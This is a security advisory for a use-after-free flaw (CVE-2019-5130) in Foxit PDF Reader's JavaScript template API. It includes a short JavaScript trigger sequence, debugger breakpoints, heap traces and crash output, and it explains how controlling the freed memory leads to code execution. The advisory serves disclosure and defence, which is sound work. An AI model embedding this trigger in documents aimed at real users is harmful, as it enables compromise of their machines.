CVE-2019-5130
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.7.0.29435
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
Interactive PDF documents support creation of template pages that can be shown or hidden and used to extend the document. Privileged Javascript API that handles templates is provided via createTemplate
and removeTemplate
methods. There is a problem with how Foxit performs validation of parameters and a certain sequence of template manipulation events can lead to use after free. Following code from the PoC demonstrates this:
app.activeDocs[0].createTemplate(undefined);
app.activeDocs[0].removeTemplate("");
app.activeDocs[0].createTemplate("1",0);
app.activeDocs[0].createTemplate("1",-1);
app.activeDocs[0].createTemplate("1",-1);
First call to createTemplate
with an undefined variable as name parameter actually succeeds and creates a template with undefined name. Then, a call to removeTemplate
with empty string as a name actually succeeds, too. Next three calls to createTemplate
cause a specific object to be allocated, then freed and then reused in the final call. Second parameter to the createTemplate
call is a page number and it should fail with invalid entry of -1
. We track Javascript execution and object creation in the debugger with the following breakpoints:
bp FoxitReader!safe_vsnprintf+0x1fe0d5 "be 4;g" # break here to enable next breakpoint where it's actually freed
bp FoxitReader!safe_vsnprintf+0x10d2ae "!heap -p -a poi(esp); g;" # show it before it's freed
bd 4
bp FoxitReader!safe_vsnprintf+0x3d99d6 "?eax ; g" # show all allocations, only enable AFTER JS starts executing
This will show us that the object was allocated during a createTemplate("1",0);
call. Further, we can see the following breakpoint output trigger during a createTemplate("1",-1);
call:
address 20c26fe0 found in
_DPH_HEAP_ROOT @ 9571000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2702d5e4: 20c26fe0 20 - 20c26000 2000
6bd4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
77d75d3e ntdll!RtlAllocateHeap+0x0000003e
040b950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
02a1c4bb FoxitReader!safe_vsnprintf+0x003d944b
02a1ca46 FoxitReader!safe_vsnprintf+0x003d99d6
02a1c663 FoxitReader!safe_vsnprintf+0x003d95f3
011525fa FoxitReader!google::LogMessageVoidify::operator&+0x00008bfa
0283b7dd FoxitReader!safe_vsnprintf+0x001f876d
0284384a FoxitReader!safe_vsnprintf+0x002007da
0250803e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0044173e
02506813 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0043ff13
01a73b3a FoxitReader!CryptUIWizExport+0x0010bfba
01a28bc5 FoxitReader!CryptUIWizExport+0x000c1045
031439bb FoxitReader!FXJSE_GetClass+0x0000022b
0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2
The above shows the object is in use just before it’s being freed during the first createTemplate("1",-1);
call. Then, after the second createTemplate("1",-1);
call, we can observe the following crash:
(2208.2340): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=14701fe8 ebx=26fa0fd0 ecx=20c26fe0 edx=00000001 esi=06cfe5e8 edi=00000000
eip=027506e6 esp=06cfe550 ebp=06cfe580 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
FoxitReader!safe_vsnprintf+0x10d676:
027506e6 803909 cmp byte ptr [ecx],9 ds:002b:20c26fe0=??
0:000> !heap -p -a ecx
address 20c26fe0 found in
_DPH_HEAP_ROOT @ 9571000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
2702d5e4: 20c26000 2000
6bd4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
77d73c45 ntdll!RtlpFreeHeap+0x000000d5
77d73812 ntdll!RtlFreeHeap+0x00000222
040b94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
04097261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
02a1c51b FoxitReader!safe_vsnprintf+0x003d94ab
02a1cbae FoxitReader!safe_vsnprintf+0x003d9b3e
02a1c812 FoxitReader!safe_vsnprintf+0x003d97a2
02750323 FoxitReader!safe_vsnprintf+0x0010d2b3
028418b5 FoxitReader!safe_vsnprintf+0x001fe845
0284114a FoxitReader!safe_vsnprintf+0x001fe0da
02508007 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00441707
02506813 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0043ff13
01a73b3a FoxitReader!CryptUIWizExport+0x0010bfba
01a28bc5 FoxitReader!CryptUIWizExport+0x000c1045
031439bb FoxitReader!FXJSE_GetClass+0x0000022b
0330bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
0330b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
0330b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
0330b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
034b2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
03441400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
0343ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
0343edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
0317a4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
03179fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
03167177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
0314210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
03142924 FoxitReader!FXJSE_ExecuteScript+0x00000014
01ab1e22 FoxitReader!CryptUIWizExport+0x0014a2a2
Process crashes due to access violation when reading from ecx
which points to already freed memory. We have showed that the object is freed during first call to createTemplate("1",-1);
which gives us chance to reallocate this memory before it is reused during the second call. By controlling the freed memory, it is possible to manipulate the process into arbitrary code execution.
2019-10-23 - Vendor Disclosure
2020-01-16 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.